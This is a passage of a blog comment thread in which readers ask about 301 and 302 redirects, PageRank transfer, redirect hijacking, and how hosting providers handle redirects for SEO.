    So I was once using a free server that my domain name redirected to inside a frame, as to keep the URL the same instead of displaying the free server’s address.

    I now have my site on my own server, but the redirected home page is still the one that’s indexed in Google, which is now a 404. Now, according to Webmaster tools, Google hasnt visited my homepage since. That indexed home page is a 404 now, completely useless.

    Help! Thanks a lot, man. I like ur videos too. Your like a teacher to me.

  62. uttara

    does on domain 301 redirects (that is, a redirect in which both the source page and the destination page are both on the same domain), search engine usually pick the shorter url ?

  63. Hello, I am trying to understand what is happening with the Google searching on this site and the ‘new’ pages at http://geo.international.gc.ca/asia/china/locations/beijing/default-en.asp
    If you try a search for Canadian Embassy Beijing the new website is totally invisible, and the beijing.gc.ca site is based on an old page. You talk about 302 redirects, I am not sure if this is what is happening here or not – however it seems that Google is blocking the redirect and not indexing the redirected site at all, maybe you consider the page has been hijacked based on the redirection being employed?
    Just trying to work out what is the best solution to this problem.
    Thanks!

  64. CapitalG

    Hi there – we will be using the SharePoint Server 2007 to produce our new website. SharePoint, like most other CMS systems, uses URL redirection so the URLs used aren’t actually real files. But it does attempt to mimic the default document structure of a ‘real’ website. For example, http://beta.hedkandi.com/music (and http://beta.hedkandi.com/music/, with the trailing slash) 302 redirect to the ‘real’ page, http://beta.hedkandi.com/music/pages/default.aspx.

    My question is – what impact will the 302s have over using 301s in this instance? Everything I’ve read implies we should really use 301s (it’s not a temporary redirect after all), but it’s impossible to change this behaviour from within SharePoint. As such, I’m concerned our rankings will drop when we migrate from our current CMS to SharePoint 2007.

    Any advice would be greatly appreciated.

  65. Ideally, if you use a redirect to another page, it’s not a bad idea to use a permanent (301) redirect, especially if people have linked to the old address. In most cases, its recommended and can help the new address be recognized as the permanent address for the page, and can result in passing along link popularity or PageRank scores to the new address.

  66. Thanks Matt .. I was asking alot of people questions about 301 and 302 and your post pretty much helped answer all of them!

  67. ankit

    Hi,

    Does pagerank gets transferred by 301 forwarding? If I 301 a domain A with pagerank 5 to another domain B with pagerank 0, does domain B gets pageRank 5 ?

  68. Does pagerank gets transferred by 301 forwarding? If I 301 a domain A with pagerank 5 to another domain B with pagerank 0, does domain B gets pageRank 5 ?

  69. I have purchased a phpscript which is similiar to the million pixel homepage script, in this there is option for real url linking however when I have this option on I think it uses a 302 redirect , could this cause mysite or the sites its linking to any harm. I have read about 302 and hijacking and dont know if because my links show a 302 this is hijacking, certainly there is no intent to hijack. the only other option with the script when real url is not selected gives links in pop up windows which is annoying and not user friendly, you can probably tell not sure what I am talking about but last thing I want to do is ruin someones site. I do not have the knowledge to change the script and I dont fully understand your explanation.

  70. Miguel

    Everybody, there is a VERY simple answer to all of this madness. People (including mlb.com) should be doing a 301 redirect from the ugly URLs to the clean ones, instead of doing a 302 from a clean URL to an ugly one! Why would someone redirect that way (from a clean url to an ugly one)??? It looks like the whole 302 issue is allowing many people to game the rankings. When people should just be using 301s or at least, if they are going to use a 302, redirect from the ugly URL to the clean one (not the other way around). Plus a 301 is supposed to pass all the authority from pageA to pageB.

    Taking the case where search.live.com ranks for the term Search, but is a 302 to live.com, it would seem that setting up subdomains with keywords and then 302ing them all to the main site might allow you to rank for a ton of terms.

    In my opinion the 302 should be VERY rarely used (VERY RARELY), and a 301 should be the standard. And Google should scrutinize the 302 more.

  71. You have not told how to make a 301/302 redirects. What command should be used. Where should we make the changes etc. Waiting an answer pls.
    Thanks!

  72. OK, but that’s for 302 redirects – what about temporary 307s? I have poor hosting and a few times have (for a few hours at most each time) redirected to a cached version upon hitting the front page of Digg.com (my most recent post is actually doing that right now as I type). I always disabled these redirects as soon as the load dies down.

    However, when I take down the redirect Google still seems to treat my original article as spam, and produces search results for everyone linking to it and/or the cached version but not the original. I worry that Google is penalizing me for these explicitly temporary .htaccess redirects, which could ultimate harm my page not only on searches but also in terms of PageRank.

    Any thoughts? Better advice for redirecting to caches? Ways to notify Google of the problem? Thanks as always for the great advice.

    P.S. Do a Google search for ‘deserted wonders’ to get an idea of what I’m talking about ;)

  73. This may be slightly off the main thread, but…

    What tends to bother me about the state of this whole 301-vs.-302 subject — other than the perfectly valid concerns over domain-spammers and a site’s indexing/ranking effects and such — is that we seem to have the effect of utterly destroying a perfectly valid type of HTTP response: the temporarily-moved (302). Are we so terrorized by spammers that we’re utterly abandoning the use of 302s as valid responses, accepting that we have no remaining method of indicating that a URL is temporarily (or non-deterministically) forwarding its traffic to another?

    Not saying anybody’s necessarily right or wrong in their 301-vs.-302 choices (that a whole nother subject). But, at least technically, 301s and 302s are both valid responses types, each with a different meaning and thus different contexts of appropriate use. I’m just lamenting (perhaps naively) what can happen to a perfectly valid tool when a history of misuse/abuse piles up coloring its reputation…

  74. I recently migrated several pages within a site, to a new URL. All (except the index page) lost their page rank… realizing that I was redirecting to the new URLs with mod_rewite without the 301 status code, I added a 301 redirect for these old URLs, but it was probably a couple of weeks after the url changes.

    Is this a recoverable situation? Will I get my page ranks back eventually?

    thoughts?

  75. Matt,
    Its obvious that many online marketers are concerned about page reputation theft with 302′s and I have been trying to figure out how to programmically defeat it. I think I might have something, tell me what you think. Since most content theives will 302 to a site domain name url (example: http://www.someonesonesurl.com), would doing a 301 redirect from the site domain name url ( http://www.someonesonesurl.com) to the full index page url ( http://www.someonesonesurl.com/index.html ) circumvent the problem?

    My thought is that the content theive would naturally process the 302 like this, but the on site 301 would tell the search engine that we are actually calling for a permanent redirect to this page.

    Would that work?

  76. does the page rank transfers to the new domain when you use 301?

  77. I have accounts both with GoDaddy and DreamHost; I’d have to say, my opinion though, DreamHost has been more user friendly, and handles the redirects quite efficiently.

  78. David

    GoDaddy refuses to do a 301 redirect. They deviously have you believing that you can select either 302 or 301. They cover themselves by saying some search engines will recognize the 301 as a 302, when in affect, they don’t appear to have their system set up for 301. Your redirect will never get in Google and it’s a total loss, leaving one looking for a new domain carrier.

  79. I appreciate the information, that certainly helps me to better understand it all.

  80. why don’t you just put your own redirect file, that’s what I did with GoDaddy and it worked fine with Google.

  81. sorry to harp on about originalsignal but here is another example of their 302 redirects http://buzz.originalsignal.com/article/829420/11-power-tips-for-gmail.html
    Many bloggers, myspace users and some unwary webmasters see a link and rightclick ‘copy shortcut’ that link. Hence originalsignals now have a link (with its PR) to their site on the strength of what you have written. Their link is concealed from the average user when they visit orginalsignal.com’s site by means of the 302 redirect.

  82. Speaking of 302 redirects, I was looking at my backlinks for my site and came up with a link in yahoo that was hostingdetails.com/go.php?mysitename.com

    That raised a flag with me so I looked it up to see if they were redirecting using a 302 redirect. Sure enough they were. Turns out they are using hundreds of 302 redirects for other names as well. Oh and by the way, I created a 302 redirect checker if anyone is interested.

    When I viewed the page, it was a godaddy page with bunches of sponsored links. My thought was that they were using cloaking and delivering other content on the page. So I called godaddy, and after no luck with the croanie on the phone, I talked with the manager. This did not get me any further. She said that godaddy did not handle the ad pages with there logo on top, it was another company that did. When asked who the other company was, she said that she could not tell me as it was confidential.

    Should I be concerned about these 302 redirects to my site?

  83. khurram

    Hi,

    I want to know, how crawler will behave if an application twice redirect a page, like if you try “http://www.youpark.com/productdetailscb?productID=3545″ you will see once its 302 redirected and on second instance 301 redirected and then 200 okay response.

    I checked with this. http://gsitecrawler.com/tools/Server-Status.aspx

    Will this double redirect affect SEO. As i analyze for last 3-4 months old URLs are still there in google index pages.

    I am waiting for your reply anxiouly.

  84. I have purchased a number of domains which I have 301-redirected to my site and already seeing subtle problems even with that in the search engines. I think Im going to remove all redirects but 1 or 2, and here is why….

    Google and the search engines are about content. Period. I can imagine anything that redirects, cloaks, tricks, or adds urls to web sites is not going to get you good results. Im not saying Im an expert by intuition tells me it can only degrade your site. Now we are hearing more of this hijacking, spamming, spoofing and cloaking problems, which makes me think, IF you are doing any “major” domain-to-other-domain redirects, it better be minimal and minor, and not be a major influence in how people find you online.

    To me, the ideal solution, as hard as it is, would be to put fresh keyword-rich content at the url or page you want redirected and add a simple link there, so the user can “opt-in” to go there. Thats something Im going to try. Ive done multiple domain aliases, redirects, masked redirects, and I dont see that going over well with Google, period. You can try and convince me its still ok….but it isnt. Or isnt the ideal solution, if you care about how redirects are affecting your search results.

    Someone needs to write a clear and concise article about this whole muli-url, multi-domain,multi-redirect issue. Its not simple. Even then, though, it doesnt take a rocket scientist to see that the most favorable scenario from Google’s point-of-view would be a reall aged, single domain, with content-rich pages, free of other urls and redirects. Tell me Im wrong….like to hear the reasons.

  85. Wow, lots of great info.

    Thanks John p for the 302 redirect checker.

  86. This is good answer to my doubt. so if i moved the pages or renamed them.. using 302 is not a good option to do so!

  87. Bob

    Hey Matt,
    Hope you can respond to this. I am struggling with whether or not this is hurting my SEO practices. I use Business Wire to distribute my news releases, and include linked words and phrases within the release. It looks like they run a permanent re-direct on each of my links through their server and then to my website. Here is an example from a random company on Business Wire: http://cts.businesswire.com/ct/CT?id=smartlink&url=http://www.spacex.com/dragon.php&esheet=5901130&lan=en_US&anchor=Dragon&index=2
    Here is the original press release:
    http://www.businesswire.com/cgi-bin/mmg.cgi?eid=5901130&lang=en

    Does this effect SEO rankings?
    Thanks

  88. very refreshing (even though the post is 3 year old),

    In France, there were a recent uproar against the Digg like platform from the French blogosphere.
    Bloggers were upset that this news aggregator (i.e. Wikio founded by Kelkoo founder Pierre Chappaz) was doing 302 redirects to their sites. They saw that as a sneaky SEO trick.
    Wikio had to remove the 302s (and change it to 301s I believe).

    Obviously, bloggers were unaware of engines behavior with off-domain 302s.
    A tempest in a teapot if you ask me…

    Anyway, thanks for the great info as always.

  89. thank you now I get the whole idea about 302 redirect

  90. Matt:

    I have come across some SEO discussion regarding which version of a domain to use when submitting to directories: the domain with or without the “www.” Some say adding the www is a total waste of time. I decided to add it when submitting to directories as many would not accept my site without the www. However, I have been hearing from some SEOer’s that using www in urls when used in anchor text for submittal to directories is ‘splitting’ your websites pagerank between the www version of the url and the non-www version. Some have advised to stick to one version or the other and not to perform link building using both versions in ones anchor text. Any truth?

    I have heard some talk regarding using 301 redirects; they state to consistently use the non www url throughout all link building campaigns and then perform a 301 redirect on the www version to the non-www version of your url. Does this makes sense what I am talking about?

    Please answer as it would be greatly appreciated.

    Sincerely,

    Daniel Tetreault
    aka dannyboy

  91. What about multiple destinations for a page using 301 or 302, for example generated by a url rotator script. what are the pros and cons, can someone direct me to an article somewhere?

  92. Thanks i read difference between 301 and 302 redirect and appreciate you.

  93. hi matt,
    currently i am setting up a new blogging service (example.com) now, i have some domain names related to blogging. & i want to redirect them to the main one (example.com)

    I did a 301 redirect for all of them, is it a right solution, or i shouldn’t redirect them at all ?

    I meant, when someone wants to redirect many domains to one destination domain, will it affect the ranking of the destination domain, even if it done correctly ?

  94. so i think i will be using 302 because I still want to use the old domain, maybe in the future. :)

  95. abhi

    Hi Matt,
    had a question about 302 redirects and wordpress.com.
    Basically wordpress.com lets you redirect your genericname.wordpress.com site to a new domain. It however only sets 302 redirects.

    I did this and google picked it up great (in less than a week). However, it’s been 3-4 months and now google is beginning to reindex the old genericname.wordpress.com site.
    traffic to my new site is also falling a bit – don’t know if it’s seasonal or due to this.

    a few questions –

    1) will this translate into a duplicate penalty – any way to avoid it or to specify that the new site is the original.
    2) there are some links to the old site that are hard to get changed or haven’t been changed on requesting. is that a factor?
    3) Is there some way to do a redirect. the redirect feature in google webmaster tools only allows redirects for top level domains.

    Is there a way that I could let Google know that the site has moved permanently.
    wordpress.com doesn’t allow 301 redirects, even if you leave the site permanently.

    thank you for your time

  96. Hi,

    I’ve an SEO question for you.

    I’ve two domains.
    http://www.lenvica.com
    http://www.lenvica.in

    Which of the following is better in terms of SEO.
    1. One of the domains redirected to the other with a ’301 redirect’
    2. Both domains as separate websites(with similar content) with both pointing to each other.

    For now, both of these domains have PR3.

    Thanks,
    Brijesh.

  97. i Have 2 Blogs under same domain name now i want to combine both blogs (migrating from wordpress to wordpress), I am confused how to do this as i think i will lose google ranking as well as all links that links to my migrating page .

    Will you please help me out with yours suggestion what i have to do in this case. current both of my blogs are in sub directory i will 1st migrate one directory blogs to another and after sometime migrate all in main directory.

  98. Wow! Great write-up. Now 302 redirects are clearer to me. :)

    I wonder why there are 307 redirects. And others said that 307 is temporary and 302 is found. Hmmmmmm… I really don’t know what’s the difference between 307 and 302. :(

  99. You wrote:
    “The difference between a 301 and a 302 is that a 301 status code means that a page has permanently moved to a new location, while a 302 status code means that a page has temporarily moved to a new location.”

    But, I’ve seen them being used with websites/webpages those never moved?

  100. As per http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.2

    “The requested resource resides temporarily under a different URI. Since the redirection might be altered on occasion, the client SHOULD continue to use the Request-URI for future requests.”

    Your comment about 302 confused me a bit as you said the page moved, but in-fact it does not. Thanks for the useful resource please keep doing the the great work.

  101. I’m really having trouble recognizing both 302 and 307. I still wonder why there are 307 redirects.

  102. I have changed my site structure , from single language to multilanguage. I updated my sitemap links , but when I chech the google webmaster for sitemap , it show 0 link is indexed.

    When first visitor visit the my site , homepage redirects to language url with 302. ( I have checked header with google webmaster. )

    My quesition is ; will be a problem if my site redirects first visit with 302 for page rank or index?

  103. Johannes M.

    Dear Matt Cutts,
    we are a company that targets germany as well as the austria.
    however we currently just have a .com domain. this domain ranks pretty well within the germany but ranks pretty bad in austria. We target Germany in Webmaster tools as its a bigger market and we kind of have to decide which market to target.

    I was now thinking about building country directories like:
    http://www.domain.com/de/ and http://www.domain.com/at/

    there are just a few products that arent availiable in austria. we wont show them in austria by IP localization.

    it like to localise the users IP adress and redirect him with a 301 from http://www.doman.com to domain.com/de/ oder domain.com/at/

    i then would tell webmaster tools that domain.com/de/ targets germany and domain.com/at/ targets austria.

    would google bots also be redirected correctly? will this cause any problems?? what will happen with the linkpower that goes to http://www.domain.com ???

    hope you can help me. this is actually a hughe issue for our company.

  104. Thanks for explaining this a bit more in-depth, it’s a great help as I’m currently coding my own crawler and want it to handle 301′s and 302′s properly. According to W3C, a lot of agents out there blindly handle 303 and 307 redirects the same way as 302 ones, is this the same for Google?

    Also, how does robots.txt affect this? E.g, if page A links to page B, which then 301 redirects to page C which then again redirects to page D.. What happens if page C forbids any bots from crawling the URL that redirects to D. If both redirects were 301, does this mean that no link-juice will flow through the redirects?

    And a last one, sorry, how does Google handle a chain with mixes of 301 and 302 redirects?

    Thanks,
    Jesper Wallin

  105. I am having 302 redirect problem with Godaddy. Sometimes it vanishes for few days and then again my website is 302 redirected to some random url like http://www.gripaccounting.com/XHLWT/ then again 302 redirected back to http://www.gripaccounting.com. Godaddy is not able to resolve this. Now I am thinking about setting a new hosting account with Godaddy at another data center (My other website is working perfectly at godaddy). Will this help?

    Thank You

  106. Dear Matt,

    Thank you very much for your information.

    I am currently running http://www.studyguide.com.vn. I already put:

    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^studyguide.com.vn
    RewriteRule (.*) http://www.studyguide.com.vn/$1 [R=301,L]

    in my .htaccess code but the return is also 302 redirect. Does it affect my SEO campaign and how much will it affect?

    I am looking forward to hearing from you soon.

    Regards,

  107. Bryan Ruiz

    Hi Matt,

    What do you think google would do when it sees a successive set of 302 redirects such as this:

    1. domain-one.com ===302 redirects to ==> domain-two.com?sessionSyncScript.php?token=hash
    2. domain-two.com?sessionSyncScript.php?token=hash ===302 redirects to ==> domain-one.com

    This can be used for sharing sessions across two domains. Will this confuse google bots or cause an issue with how Google sees the quality of the page?

    The session should only be “synced” every 15 mins or so I would believe, and can detect google-bots and not do the 302 redirects then?

    Do you believe this would have any impact?

    Thanks Matt!

  108. soha

    I bought a domain having PR 5, and I installed my new blog on that domain. but its already have old urls indexed in google, how do I do redirection with my new site without losing google SERP and PR. Please Help

  109. Does a 302 redirect effect search results ?
    My domain has a 302 redirect from technetsavvy.com to http://www.technetsavvy.com. Does this effect search rankings in anyway ? Or is it recommended that I remove the above redirect ?

  110. Great post as always Matt!!

    I had never heard of the 302 – only the 301, but after reading your post I have realised that I can make one of my websites more search engine friendly.

  111. Matt, thanks for detailed explanation of 301 and 302 redirects

  112. I am going to use a 301 redirect to my main domain instead of 302. I hope Google will agree with this.

  113. Will a 302 redirect from the host penalize the page it’s being redirected to?

  114. i have moved my website emoiz.com via 301 to moiz.co.uk will this lose my trafic from google ?

  115. This issue continues to be topical. What I do not understand is whether or not a 301 is needed when I have a .ca and .com domain for the same site and I have set a domain preference in webmaster tools and added a canonical tag to the header of each page.

  116. I have a question regarding redirection and pagerank.
    If i redirect a url under my domain to someone else’s page which has pagerank 7 or 8.Will it help my domain reputation or domain stats?

Leave a Comment

Your email address will not be published. Required fields are marked *

*

If you have a question about your site specifically or a general question about search, your best bet is to post in our Webmaster Help Forum linked from http://google.com/webmasters

If you comment, please use your personal name, not your business name. Business names can sound salesy or spammy, and I would like to try people leaving their actual name instead.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

css.php